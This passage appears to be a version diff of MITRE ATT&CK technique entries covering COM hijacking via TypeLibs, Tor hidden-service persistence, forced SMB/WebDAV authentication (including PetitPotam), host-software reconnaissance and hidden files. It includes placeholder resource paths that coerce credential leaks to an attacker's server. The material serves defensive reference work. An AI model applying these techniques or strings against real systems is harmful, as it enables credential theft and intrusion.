| > | system instability that could lead to detection. | > | system instability that could lead to detection. One varia | ||
| > | tion of COM hijacking involves abusing Type Libraries (TypeL | ||||
| > | ibs), which provide metadata about COM objects, such as thei | ||||
| > | r interfaces and methods. Adversaries may modify Registry ke | ||||
| > | ys associated with TypeLibs to redirect legitimate COM objec | ||||
| > | t functionality to malicious scripts or payloads. Unlike tra | ||||
| > | ditional COM hijacking, which commonly uses local DLLs, this | ||||
| > | variation may leverage the \"script:\" moniker to execute rem | ||||
| > | ote scripts hosted on external servers.(Citation: RELIAQUEST | ||||
| > | ) This approach enables stealthy execution of code while mai | ||||
| > | ntaining persistence, as the remote payload would be automat | ||||
| > | ically downloaded whenever the hijacked COM object is access | ||||
| > | ed. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage external-facing remote services to | t | 1 | Adversaries may leverage external-facing remote services to |
| > | initially access and/or persist within a network. Remote ser | > | initially access and/or persist within a network. Remote ser | ||
| > | vices such as VPNs, Citrix, and other access mechanisms allo | > | vices such as VPNs, Citrix, and other access mechanisms allo | ||
| > | w users to connect to internal enterprise network resources | > | w users to connect to internal enterprise network resources | ||
| > | from external locations. There are often remote service gate | > | from external locations. There are often remote service gate | ||
| > | ways that manage connections and credential authentication f | > | ways that manage connections and credential authentication f | ||
| > | or these services. Services such as [Windows Remote Manageme | > | or these services. Services such as [Windows Remote Manageme | ||
| > | nt](https://attack.mitre.org/techniques/T1021/006) and [VNC] | > | nt](https://attack.mitre.org/techniques/T1021/006) and [VNC] | ||
| > | (https://attack.mitre.org/techniques/T1021/005) can also be | > | (https://attack.mitre.org/techniques/T1021/005) can also be | ||
| > | used externally.(Citation: MacOS VNC software for Remote Des | > | used externally.(Citation: MacOS VNC software for Remote Des | ||
| > | ktop) Access to [Valid Accounts](https://attack.mitre.org/t | > | ktop) Access to [Valid Accounts](https://attack.mitre.org/t | ||
| > | echniques/T1078) to use the service is often a requirement, | > | echniques/T1078) to use the service is often a requirement, | ||
| > | which could be obtained through credential pharming or by ob | > | which could be obtained through credential pharming or by ob | ||
| > | taining the credentials from users after compromising the en | > | taining the credentials from users after compromising the en | ||
| > | terprise network.(Citation: Volexity Virtual Private Keylogg | > | terprise network.(Citation: Volexity Virtual Private Keylogg | ||
| > | ing) Access to remote services may be used as a redundant or | > | ing) Access to remote services may be used as a redundant or | ||
| > | persistent access mechanism during an operation. Access ma | > | persistent access mechanism during an operation. Access ma | ||
| > | y also be gained through an exposed service that doesn\u2019t req | > | y also be gained through an exposed service that doesn\u2019t req | ||
| > | uire authentication. In containerized environments, this may | > | uire authentication. In containerized environments, this may | ||
| > | include an exposed Docker API, Kubernetes API server, kubel | > | include an exposed Docker API, Kubernetes API server, kubel | ||
| > | et, or web application such as the Kubernetes dashboard.(Cit | > | et, or web application such as the Kubernetes dashboard.(Cit | ||
| > | ation: Trend Micro Exposed Docker Server)(Citation: Unit 42 | > | ation: Trend Micro Exposed Docker Server)(Citation: Unit 42 | ||
| > | Hildegard Malware) | > | Hildegard Malware) Adversaries may also establish persisten | ||
| > | ce on network by configuring a Tor hidden service on a compr | ||||
| > | omised system. Adversaries may utilize the tool `ShadowLink` | ||||
| > | to facilitate the installation and configuration of the Tor | ||||
| > | hidden service. Tor hidden service is then accessible via t | ||||
| > | he Tor network because `ShadowLink` sets up a .onion address | ||||
| > | on the compromised system. `ShadowLink` may be used to forw | ||||
| > | ard any inbound connections to RDP, allowing the adversaries | ||||
| > | to have remote access.(Citation: The BadPilot campaign) Adv | ||||
| > | ersaries may get `ShadowLink` to persist on a system by masq | ||||
| > | uerading it as an MS Defender application.(Citation: Russian | ||||
| > | threat actors dig in, prepare to seize on war fatigue) |
file[:]//[remote address]/Normal.dotm to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)\n\nAlternatively, by leveraging the EfsRpcOpenFileRaw function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of EfsRpcOpenFileRaw function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)\n\n",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1187",
+ "external_id": "T1187"
+ },
+ {
+ "source_name": "Rapid7",
+ "description": "Condon, Caitlin. (2022, April 24). PetitPotam: Novel Attack Chain Can Fully Compromise Windows Domains. Retrieved May 30, 2025.",
+ "url": "https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/"
+ },
+ {
+ "source_name": "Cylance Redirect to SMB",
+ "description": "Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.",
+ "url": "https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf"
+ },
+ {
+ "source_name": "GitHub Hashjacking",
+ "description": "Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.",
+ "url": "https://github.com/hob0/hashjacking"
+ },
+ {
+ "source_name": "Microsoft Managing WebDAV Security",
+ "description": "Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20100210125749/https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx"
+ },
+ {
+ "source_name": "Osanda Stealing NetNTLM Hashes",
+ "description": "Osanda Malith Jayathissa. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.",
+ "url": "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/"
+ },
+ {
+ "source_name": "Didier Stevens WebDAV Traffic",
+ "description": "Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.",
+ "url": "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/"
+ },
+ {
+ "source_name": "GitHub",
+ "description": "topotam. (2021, July 18). PetitPotam. PoC tool to coerce Windows hosts to authenticate to other machines. Retrieved May 30, 2025.",
+ "url": "https://github.com/topotam/PetitPotam"
+ },
+ {
+ "source_name": "US-CERT APT Energy Oct 2017",
+ "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+ "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+ },
+ {
+ "source_name": "Wikipedia Server Message Block",
+ "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.",
+ "url": "https://en.wikipedia.org/wiki/Server_Message_Block"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Teodor Cimpoesu",
+ "Sudhanshu Chauhan, @Sudhanshu_C",
+ "Jiraput Thamsongkrah",
+ "Purinut Wongwaiwuttiguldej",
+ "Natthawut Saexu"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"Network Traffic: Network Traffic Flow\", \"File: File Modification\", \"File: File Creation\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.134000+00:00\", \"old_value\": \"2025-04-15 22:36:48.417000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\\n\\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. 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(Citation: US-CERT APT Energy Oct 2017)\", \"diff\": \"--- \\n+++ \\n@@ -1,12 +1,15 @@\\n Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\\n \\n-The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\\n+The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.(Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\\n \\n-Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\\n+Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV Traffic)(Citation: Microsoft Managing WebDAV Security)\\n \\n-Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. 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The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\\n-* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\\\\\[remote address]\\\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)\\n+* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)\\n+* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\\\\\[remote address]\\\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)\\n+\\n+Alternatively, by leveraging the EfsRpcOpenFileRaw function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. 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For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\\n\\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\\n-\\n-Monitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Rapid7\", \"description\": \"Condon, Caitlin. (2022, April 24). PetitPotam: Novel Attack Chain Can Fully Compromise Windows Domains. Retrieved May 30, 2025.\", \"url\": \"https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/\"}, \"root['external_references'][7]\": {\"source_name\": \"GitHub\", \"description\": \"topotam. (2021, July 18). PetitPotam. PoC tool to coerce Windows hosts to authenticate to other machines. Retrieved May 30, 2025.\", \"url\": \"https://github.com/topotam/PetitPotam\"}, \"root['x_mitre_contributors'][2]\": \"Jiraput Thamsongkrah\", \"root['x_mitre_contributors'][3]\": \"Purinut Wongwaiwuttiguldej\", \"root['x_mitre_contributors'][4]\": \"Natthawut Saexu\"}}",
+ "previous_version": "1.3",
+ "version_change": "1.3 \u2192 1.4",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gather credential material by invoking or fo | t | 1 | Adversaries may gather credential material by invoking or fo |
| > | rcing a user to automatically provide authentication informa | > | rcing a user to automatically provide authentication informa | ||
| > | tion through a mechanism in which they can intercept. The S | > | tion through a mechanism in which they can intercept. The S | ||
| > | erver Message Block (SMB) protocol is commonly used in Windo | > | erver Message Block (SMB) protocol is commonly used in Windo | ||
| > | ws networks for authentication and communication between sys | > | ws networks for authentication and communication between sys | ||
| > | tems for access to resources and file sharing. When a Window | > | tems for access to resources and file sharing. When a Window | ||
| > | s system attempts to connect to an SMB resource it will auto | > | s system attempts to connect to an SMB resource it will auto | ||
| > | matically attempt to authenticate and send credential inform | > | matically attempt to authenticate and send credential inform | ||
| > | ation for the current user to the remote system. (Citation: | > | ation for the current user to the remote system.(Citation: W | ||
| > | Wikipedia Server Message Block) This behavior is typical in | > | ikipedia Server Message Block) This behavior is typical in e | ||
| > | enterprise environments so that users do not need to enter c | > | nterprise environments so that users do not need to enter cr | ||
| > | redentials to access network resources. Web Distributed Aut | > | edentials to access network resources. Web Distributed Auth | ||
| > | horing and Versioning (WebDAV) is also typically used by Win | > | oring and Versioning (WebDAV) is also typically used by Wind | ||
| > | dows systems as a backup protocol when SMB is blocked or fai | > | ows systems as a backup protocol when SMB is blocked or fail | ||
| > | ls. WebDAV is an extension of HTTP and will typically operat | > | s. WebDAV is an extension of HTTP and will typically operate | ||
| > | e over TCP ports 80 and 443. (Citation: Didier Stevens WebDA | > | over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV | ||
| > | V Traffic) (Citation: Microsoft Managing WebDAV Security) A | > | Traffic)(Citation: Microsoft Managing WebDAV Security) Adve | ||
| > | dversaries may take advantage of this behavior to gain acces | > | rsaries may take advantage of this behavior to gain access t | ||
| > | s to user account hashes through forced SMB/WebDAV authentic | > | o user account hashes through forced SMB/WebDAV authenticati | ||
| > | ation. An adversary can send an attachment to a user through | > | on. An adversary can send an attachment to a user through sp | ||
| > | spearphishing that contains a resource link to an external | > | earphishing that contains a resource link to an external ser | ||
| > | server controlled by the adversary (i.e. [Template Injection | > | ver controlled by the adversary (i.e. [Template Injection]( | ||
| > | ](https://attack.mitre.org/techniques/T1221)), or place a sp | > | https://attack.mitre.org/techniques/T1221)), or place a spec | ||
| > | ecially crafted file on navigation path for privileged accou | > | ially crafted file on navigation path for privileged account | ||
| > | nts (e.g. .SCF file placed on desktop) or on a publicly acce | > | s (e.g. .SCF file placed on desktop) or on a publicly access | ||
| > | ssible share to be accessed by victim(s). When the user's sy | > | ible share to be accessed by victim(s). When the user's syst | ||
| > | stem accesses the untrusted resource it will attempt authent | > | em accesses the untrusted resource, it will attempt authenti | ||
| > | ication and send information, including the user's hashed cr | > | cation and send information, including the user's hashed cre | ||
| > | edentials, over SMB to the adversary controlled server. (Cit | > | dentials, over SMB to the adversary-controlled server.(Citat | ||
| > | ation: GitHub Hashjacking) With access to the credential has | > | ion: GitHub Hashjacking) With access to the credential hash, | ||
| > | h, an adversary can perform off-line [Brute Force](https://a | > | an adversary can perform off-line [Brute Force](https://att | ||
| > | ttack.mitre.org/techniques/T1110) cracking to gain access to | > | ack.mitre.org/techniques/T1110) cracking to gain access to p | ||
| > | plaintext credentials. (Citation: Cylance Redirect to SMB) | > | laintext credentials.(Citation: Cylance Redirect to SMB) Th | ||
| > | There are several different ways this can occur. (Citation: | > | ere are several different ways this can occur.(Citation: Osa | ||
| > | Osanda Stealing NetNTLM Hashes) Some specifics from in-the- | > | nda Stealing NetNTLM Hashes) Some specifics from in-the-wild | ||
| > | wild use include: * A spearphishing attachment containing a | > | use include: * A spearphishing attachment containing a doc | ||
| > | document with a resource that is automatically loaded when | > | ument with a resource that is automatically loaded when the | ||
| > | the document is opened (i.e. [Template Injection](https://at | > | document is opened (i.e. [Template Injection](https://attack | ||
| > | tack.mitre.org/techniques/T1221)). The document can include, | > | .mitre.org/techniques/T1221)). The document can include, for | ||
| > | for example, a request similar to <code>file[:]//[remote ad | > | example, a request similar to <code>file[:]//[remote addres | ||
| > | dress]/Normal.dotm</code> to trigger the SMB request. (Citat | > | s]/Normal.dotm</code> to trigger the SMB request.(Citation: | ||
| > | ion: US-CERT APT Energy Oct 2017) * A modified .LNK or .SCF | > | US-CERT APT Energy Oct 2017) * A modified .LNK or .SCF file | ||
| > | file with the icon filename pointing to an external referenc | > | with the icon filename pointing to an external reference suc | ||
| > | e such as <code>\\\\[remote address]\\pic.png</code> that will | > | h as <code>\\\\[remote address]\\pic.png</code> that will force | ||
| > | force the system to load the resource when the icon is rende | > | the system to load the resource when the icon is rendered t | ||
| > | red to repeatedly gather credentials. (Citation: US-CERT APT | > | o repeatedly gather credentials.(Citation: US-CERT APT Energ | ||
| > | Energy Oct 2017) | > | y Oct 2017) Alternatively, by leveraging the <code>EfsRpcOp | ||
| > | enFileRaw</code> function, an adversary can send SMB request | ||||
| > | s to a remote system's MS-EFSRPC interface and force the vic | ||||
| > | tim computer to initiate an authentication procedure and sha | ||||
| > | re its authentication details. The Encrypting File System Re | ||||
| > | mote Protocol (EFSRPC) is a protocol used in Windows network | ||||
| > | s for maintenance and management operations on encrypted dat | ||||
| > | a that is stored remotely to be accessed over a network. Uti | ||||
| > | lization of <code>EfsRpcOpenFileRaw</code> function in EFSRP | ||||
| > | C is used to open an encrypted object on the server for back | ||||
| > | up or restore. Adversaries can collect this data and abuse i | ||||
| > | t as part of a NTLM relay attack to gain access to remote sy | ||||
| > | stems on the same internal network.(Citation: Rapid7)(Citati | ||||
| > | on: GitHub) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gather information about the victim's host s | t | 1 | Adversaries may gather information about the victim's host s |
| > | oftware that can be used during targeting. Information about | > | oftware that can be used during targeting. Information about | ||
| > | installed software may include a variety of details such as | > | installed software may include a variety of details such as | ||
| > | types and versions on specific hosts, as well as the presen | > | types and versions on specific hosts, as well as the presen | ||
| > | ce of additional components that might be indicative of adde | > | ce of additional components that might be indicative of adde | ||
| > | d defensive protections (ex: antivirus, SIEMs, etc.). Adver | > | d defensive protections (ex: antivirus, SIEMs, etc.). Adver | ||
| > | saries may gather this information in various ways, such as | > | saries may gather this information in various ways, such as | ||
| > | direct collection actions via [Active Scanning](https://atta | > | direct collection actions via [Active Scanning](https://atta | ||
| > | ck.mitre.org/techniques/T1595) (ex: listening ports, server | > | ck.mitre.org/techniques/T1595) (ex: listening ports, server | ||
| > | banners, user agent strings) or [Phishing for Information](h | > | banners, user agent strings) or [Phishing for Information](h | ||
| > | ttps://attack.mitre.org/techniques/T1598). Adversaries may a | > | ttps://attack.mitre.org/techniques/T1598). Adversaries may a | ||
| > | lso compromise sites then include malicious content designed | > | lso compromise sites then include malicious content designed | ||
| > | to collect host information from visitors.(Citation: ATT Sc | > | to collect host information from visitors.(Citation: ATT Sc | ||
| > | anBox) Information about the installed software may also be | > | anBox) Information about the installed software may also be | ||
| > | exposed to adversaries via online or other accessible data s | > | exposed to adversaries via online or other accessible data s | ||
| > | ets (ex: job postings, network maps, assessment reports, res | > | ets (ex: job postings, network maps, assessment reports, res | ||
| > | umes, or purchase invoices). Gathering this information may | > | umes, or purchase invoices). Additionally, adversaries may a | ||
| > | reveal opportunities for other forms of reconnaissance (ex: | > | nalyze metadata from victim-owned files (e.g., PDFs, DOCs, i | ||
| > | [Search Open Websites/Domains](https://attack.mitre.org/tech | > | mages, and sound files hosted on victim-owned websites) to e | ||
| > | niques/T1593) or [Search Open Technical Databases](https://a | > | xtract information about the software and hardware used to c | ||
| > | ttack.mitre.org/techniques/T1596)), establishing operational | > | reate or process those files. Metadata may reveal software v | ||
| > | resources (ex: [Develop Capabilities](https://attack.mitre. | > | ersions, configurations, or timestamps that indicate outdate | ||
| > | org/techniques/T1587) or [Obtain Capabilities](https://attac | > | d or vulnerable software. This information can be cross-refe | ||
| > | k.mitre.org/techniques/T1588)), and/or for initial access (e | > | renced with known CVEs to identify potential vectors for exp | ||
| > | x: [Supply Chain Compromise](https://attack.mitre.org/techni | > | loitation in future operations.(Citation: Outpost24) Gather | ||
| > | ques/T1195) or [External Remote Services](https://attack.mit | > | ing this information may reveal opportunities for other form | ||
| > | re.org/techniques/T1133)). | > | s of reconnaissance (ex: [Search Open Websites/Domains](http | ||
| > | s://attack.mitre.org/techniques/T1593) or [Search Open Techn | ||||
| > | ical Databases](https://attack.mitre.org/techniques/T1596)), | ||||
| > | establishing operational resources (ex: [Develop Capabiliti | ||||
| > | es](https://attack.mitre.org/techniques/T1587) or [Obtain Ca | ||||
| > | pabilities](https://attack.mitre.org/techniques/T1588)), and | ||||
| > | /or for initial access (ex: [Supply Chain Compromise](https: | ||||
| > | //attack.mitre.org/techniques/T1195) or [External Remote Ser | ||||
| > | vices](https://attack.mitre.org/techniques/T1133)). |
dir /a for Windows and ls \u2013a for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.\n\nAdditionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a \u201cspace\u201d character.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1564/001",
+ "external_id": "T1564.001"
+ },
+ {
+ "source_name": "WireLurker",
+ "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
+ "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf"
+ },
+ {
+ "source_name": "Sofacy Komplex Trojan",
+ "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
+ "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
+ },
+ {
+ "source_name": "Antiquated Mac Malware",
+ "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
+ "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Gr@ve_Rose (tcpdump101.com on bsky)"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Gr@ve_Rose (tcpdump101.com on bsky)\"]}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Creation\", \"File: File Metadata\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.244000+00:00\", \"old_value\": \"2025-04-25 14:48:27.868000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \\u2018hidden\\u2019 file. These files don\\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \\u2013a for Linux and macOS).\\n\\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \\u201c.\\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \\u2018.\\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \\u201cls\\u201d. Users must specifically change settings to have these files viewable.\\n\\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\\u2019t clutter up the user\\u2019s workspace. For example, SSH utilities create a .ssh folder that\\u2019s hidden and contains the user\\u2019s known hosts and keys.\\n\\nAdditionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a \\u201cspace\\u201d character.\\n\\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.\", \"old_value\": \"Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \\u2018hidden\\u2019 file. These files don\\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \\u2013a for Linux and macOS).\\n\\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \\u201c.\\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \\u2018.\\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \\u201cls\\u201d. Users must specifically change settings to have these files viewable.\\n\\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\\u2019t clutter up the user\\u2019s workspace. For example, SSH utilities create a .ssh folder that\\u2019s hidden and contains the user\\u2019s known hosts and keys.\\n\\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.\", \"diff\": \"--- \\n+++ \\n@@ -4,4 +4,6 @@\\n \\n Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\\u2019t clutter up the user\\u2019s workspace. For example, SSH utilities create a .ssh folder that\\u2019s hidden and contains the user\\u2019s known hosts and keys.\\n \\n+Additionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a \\u201cspace\\u201d character.\\n+\\n Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor the file system and shell commands for files being created with a leading \\\".\\\" and the Windows command-line use of attrib.exe to add the hidden attribute.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}",
+ "previous_version": "1.1",
+ "version_change": "1.1 \u2192 1.2",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may set files and directories to be hidden to ev | t | 1 | Adversaries may set files and directories to be hidden to ev |
| > | ade detection mechanisms. To prevent normal users from accid | > | ade detection mechanisms. To prevent normal users from accid | ||
| > | entally changing special files on a system, most operating s | > | entally changing special files on a system, most operating s | ||
| > | ystems have the concept of a \u2018hidden\u2019 file. These files don\u2019 | > | ystems have the concept of a \u2018hidden\u2019 file. These files don\u2019 | ||
| > | t show up when a user browses the file system with a GUI or | > | t show up when a user browses the file system with a GUI or | ||
